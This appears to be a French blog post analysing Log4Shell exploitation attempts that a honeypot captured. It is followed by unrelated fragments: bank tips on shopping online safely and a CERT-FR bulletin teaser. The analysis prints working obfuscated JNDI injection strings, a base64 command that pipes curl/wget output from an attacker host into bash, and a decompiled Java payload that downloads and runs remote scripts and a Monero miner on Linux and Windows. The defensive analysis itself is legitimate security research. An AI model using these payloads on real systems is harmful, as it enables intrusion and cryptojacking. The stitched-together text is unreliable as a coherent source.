195.54.160.x:HTTP_USER_AGENT:${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.x:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8xNjMuMTcyLjU4LjEzOjgwfHx3Z2V0IC1xIC1PLSAxOTUuNTQuMTYwLjE0OTo1ODc0LzE2My4xNzIuNTguMTM6ODApfGJhc2g=}

195.54.160.x:QUERY_STRING:x=${jndi:ldap://195.54.160.x:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8xNjMuMTcyLjU4LjEzOjgwfHx3Z2V0IC1xIC1PLSAxOTUuNTQuMTYwLjE0OTo1ODc0LzE2My4xNzIuNTguMTM6ODApfGJhc2g=}

L'attaquant a utilisé différentes méthodes d'injection avec différents modes d'obfuscation :

• L'utilisation des entêtes Referer, User-Agent.
• L'utilisation d'un argument en query string avec une variable "x" dans l'URL.

Son attaque passe par l'exécution d'un code Java prenant en paramètre un shellcode configurable à la volée.

Lors de chaque attaque, son serveur LDAP retourne une entrée avec un code Java différent à chaque tentative (javaFactory). Cependant, je n'arrive pas à télécharger la classe générée depuis le serveur qu'il expose sur son port 9999 ...

DN: Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8xNjMuMTcyLjU4LjEzOjgwfHx3Z2V0IC1xIC1PLSAxOTUuNTQuMTYwLjE0OTo1ODc0LzE2My4xNzIuNTguMTM6ODApfGJhc2g=
 javaClassName: foo

 javaCodeBase: http://195.54.160.x:9999/

 objectClass: javaNamingReference

 javaFactory: ExploitejsLdP24Oo

Il a tenté de faire exécuter des commandes Shell encodées en Base64 sur mon serveur :

(curl -s 195.54.160.x:5874/163.172.58.13:80||wget -q -O- 195.54.160.x:5874/163.172.58.13:80)|bash

Pour multiplier les chances de réussite à son attaque, l'attaquant utilise à la fois la commande "curl" et "wget". Pour mieux identifier ses cibles, il transmet en paramètre d'appel HTTP vers son serveur Web, l'adresse IP et le port du serveur infecté. Cette stratégie est indispensable dès lors que les serveurs attaqués ont des routes de sortie réseau autres que l'adresse IP publique utilisée.

Le serveur de l'attaquant n'injecte aucune commande shell malveillante pour le moment, il est utilisé uniquement pour identifier des cibles vulnérables. Il attaquera probablement dans un second temps dès lors qu'il jugera intéressant d'en extraire du contenu ou d'y injecter une commande shell malveillante.

Je reçois aujourd'hui des attaques quasiment quotidiennement provenant de ce serveur, il est très probable qu'il scanne l'ensemble des plages IPv4 pour se créer un futur botnet de serveurs qu'il exploitera dès qu'il aura décidé de les utiliser ...

La seconde attaque ... Avec un vrai payload !

La seconde attaque reçue est beaucoup plus intéressante. Mon HoneyPot m'a permis de récupérer le Payload malveillant que je me suis empressé de décompiler.

public class Exploit {
    static {
        try {
            String[] stringArray = new String[]{"/bin/bash", "-c", "(wget -qO - http://51.250.x.x/.l/log || curl http://51.250.x.x/.l/log) | sh"};
            if (System.getProperty("os.name").toLowerCase().startsWith("win")) {
                stringArray = new String[]{"powershell", "-w", "hidden", "-c", "(new-object System.Net.WebClient).DownloadFile('http://150.60.x.x:80/wp-content/themes/twentyseventeen/s.cmd', $env:temp + '/s.cmd');start-process -FilePath 's.cmd' -WorkingDirectory $env:tmp"};
                Runtime.getRuntime().exec(stringArray);
                stringArray = new String[]{"powershell", "-w", "hidden", "-c", "(new-object System.Net.WebClient).DownloadFile('https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/setup_moneroocean_miner.bat', $env:temp + '/oc.cmd');start-process -FilePath 'oc.cmd' -WorkingDirectory $env:tmp"};
            }
            Runtime runtime = Runtime.getRuntime();
            Process process = runtime.exec(stringArray);
            process.waitFor();
        }
        catch (Exception exception) {
            // empty catch block
        }
    }
}

Le code Java injecté contient une vraie charge nuisible et fonctionne aussi bien sur des serveurs Linux que Windows.
Les scripts malveillants sont récupérés soit de serveur Wordpress exploité ou tout simplement de Github ...

Les scripts Shell téléchargés au travers de cette attaque sont très travaillés.
Leur script d'attaque supprime l'ensemble des autres attaquants avant de s'installer sur le serveur.

Conclusion

Je pensais voir une grosse augmentation de l'usage de cette faille de sécurité par des Botnets ces derniers jours, cela ne semble pas être le cas aujourd'hui au-delà des 3 adresses IP détectées.

Dans la mesure où les IP des attaquants se font très facilement détecter par des WAF (Web Application Firewall) et que leurs IP se font automatiquement bloquer par des solutions comme AbuseIPDB ou Crowdsec, une solution radicale serait tout simplement de mettre en place un parefeu dynamique capable de bloquer l'ensemble des IP malveillantes détectées.
Crowdsec fournit cette liste d'IP malveillantes gratuitement sur la base des sondes de son réseau que vous pouvez utiliser pour renforcer le filtre d'accès à vos serveurs.

Si tu es passionné comme moi de cybersécurité, n'hésite pas à rejoindre le serveur Discord de ce blog. Un canal #Cybersecurité a été créé et est ouvert à tous et à toutes.

N'hésite pas non plus à aller faire un tour sur la présentation de Shodan ou de Portsentry.

Acheter en ligne est devenue pratique courante et les ventes ne cessent de progresser. Vous devez rester prudent et vigilant avec les sites commerçants, le paiement mais aussi concernant votre matériel et vos connexions.

Décembre 2021

1. Je vérifie que le site marchand est sûr
2. Je reste vigilant face à un courrier électronique
3. Je protège les données de ma carte bancaire
4. Je choisis une solution adaptée pour mes achats en ligne
5. Je contacte ma banque en cas de doute
6. Je consulte régulièrement mon compte
7. Je signale rapidement toute anomalie
8. Pour tout litige commercial, je m’adresse au commerçant
9. Je protège mon matériel
10. Je sécurise mes connexions

LES REFLEXES SECURITE

Voir les actions

• Aimer cet article
• Enregistrer cet article
• Partager cet article

2 Min

La sécurité

L'authentification forte pour tout achat en ligne

Voir les actions

• 1

  Aimer cet article
• Enregistrer cet article
• Partager cet article

3 Min

La sécurité

Les précautions pour déjouer les arnaques

Voir les actions

• Aimer cet article
• Enregistrer cet article
• Partager cet article

2 Min

La sécurité

Les précautions d'utilisation des moyens de paiement sur internet

Voir plus sur la gauche Voir plus sur la droite

The post Achats en ligne – 10 réflexes sécurité appeared first on Les clés de la banque - Particulier.

Bulletin d’actualité du 14/12/2021 Nous voici de nouveau ensemble dans notre rendez-vous de fin de semaine pour revenir sur les différents bulletins de sécurité publiés par le CERT-FR ! Durant la période du 06 décembre au 12 décembre 2021 le CERT-FR (Centre gouvernemental de veille, d’alerte et de réponse aux attaques informatiques en France) a …

L’article Bulletin d’actualité du CERT-FR – 14/12/2021 est apparu en premier sur Tech2Tech | News, Astuces, Tutos, Vidéos autour de l'informatique.